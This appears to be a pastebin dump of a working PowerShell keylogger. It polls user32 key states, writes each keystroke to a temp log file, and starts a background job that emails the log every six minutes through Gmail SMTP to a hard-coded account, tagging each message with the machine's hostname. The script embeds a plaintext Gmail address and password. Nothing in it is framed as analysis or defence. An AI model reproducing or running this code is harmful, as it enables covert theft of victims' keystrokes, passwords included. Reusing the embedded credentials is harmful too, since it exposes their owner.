HMFz2Pmy

1<# # Edit only this section!
2
3$From ="jneosecure@gmail.com"
4$Pass ="4ndr3sH123"
5$To ="jneosecure@gmail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.gmail.com"
9$SMTPPort = "587"
10$credentials = New-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11#$credentials = New-Object Management.Automation.PSCredential "jneosecure@yourcompany.com", (4ndr3sH123 | ConvertTo-SecureString -AsPlainText -Force)
12############################ #>
13
14$TimesToRun = 1
15$RunTimeP = 1
16#requires -Version 2
17function Start-KeyLogger($Path="$env:temp\keylogger5.log") 
18{
19  # Signatures for API Calls
20  $signatures = @'
21[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
22public static extern short GetAsyncKeyState(int virtualKeyCode); 
23[DllImport("user32.dll", CharSet=CharSet.Auto)]
24public static extern int GetKeyboardState(byte[] keystate);
25[DllImport("user32.dll", CharSet=CharSet.Auto)]
26public static extern int MapVirtualKey(uint uCode, int uMapType);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
29'@
30
31  # load signatures and make members available
32  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
33    
34  # create output file
35  $null = New-Item -Path $Path -ItemType File -Force
36
37  try
38  {
39
40    # create endless loop. When user presses CTRL+C, finally-block
41    # executes and shows the collected key presses
42    $Runner = 0
43  while ($TimesToRun  -gt $Runner) {
44  $TimeStart = Get-Date
45  $TimeEnd = $timeStart.addminutes($RunTimeP)
46  while ($TimeEnd -gt $TimeNow) {
47      Start-Sleep -Milliseconds 40
48      
49      # scan all ASCII codes above 8
50      for ($ascii = 9; $ascii -le 254; $ascii++) {
51        # get current key state
52        $state = $API::GetAsyncKeyState($ascii)
53
54        # is key pressed?
55        if ($state -eq -32767) {
56          $null = [console]::CapsLock
57
58          # translate scan code to real code
59          $virtualKey = $API::MapVirtualKey($ascii, 3)
60
61          # get keyboard state for virtual keys
62          $kbstate = New-Object Byte[] 256
63          $checkkbstate = $API::GetKeyboardState($kbstate)
64
65          # prepare a StringBuilder to receive input key
66          $mychar = New-Object -TypeName System.Text.StringBuilder
67
68          # translate virtual key
69          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
70
71          if ($success) 
72          {
73            # add key to logger file
74            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
75          }
76        }
77      }
78    $TimeNow = Get-Date
79    }
80  $Runner++
81  #Send-MailMessage -From $From -To $To -Subject $Subject -Body $body -Attachments $Path -SmtpServer $SMTPServer -Port $SMTPPort -Credential $credentials -UseSsl
82  #Remove-Item -Path $Path -force
83  }
84  }
85  finally
86  {
87    # open logger file in Notepad
88  #exit 1
89  }
90}
91
92Start-KeyLogger
93
94Start-Job {
95$SMTPServer = 'smtp.gmail.com'
96$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
97$SMTPInfo.EnableSsl = $true
98$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('jneosecure2@gmail.com', '4ndr3sH123')
99$ReportEmail = New-Object System.Net.Mail.MailMessage
100$ReportEmail.From = 'jneosecure2@gmail.com'
101$ReportEmail.To.Add('jneosecure2@gmail.com')
102$ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
103while(1){$ReportEmail.Attachments.Add("$ENV:temp\keylogger5.log");$SMTPInfo.Send($ReportEmail);sleep 360}
104  }
105  
106# records all key presses until script is aborted by pressing CTRL+C
107# will then open the file with collected key codes